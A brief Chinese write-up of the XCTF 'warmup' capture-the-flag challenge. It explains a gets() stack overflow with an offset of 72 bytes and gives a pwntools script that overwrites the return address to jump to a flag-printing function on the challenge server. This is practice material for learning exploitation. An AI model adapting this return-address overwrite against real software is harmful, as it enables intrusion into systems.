XCTF warmup write up

∥☆過路亽.° 提交于 2019-12-02 03:56:15

nc 一下给的地址和端口号

 

 看一下源文件

 

看到了熟悉的gets()函数,通常一看到这个函数就八成有缓冲区溢出漏洞,可以看出程序为v5开辟了40H的存储空间,所以输入长度超过40H即可造成溢出,再看sprint()函数

可以看到这个函数是获取flag的关键点,程序会打印出此函数的位置,即0x40060d,到这里思路就差不多明了了,我们需要控制溢出位置,把返回地址改为此函数的地址,我们当前函数的返回值位于RBP+8的位置,因此溢出点可以通过计算得出:40H+8H=48H=72

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(arch = 'amd64', os = 'linux')
sh = remote('111.198.29.45',56844)
target = 0x40060d
sh.sendline('A' * 72 + p64(target))
sh.interactive()

 

 喜提flag。

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!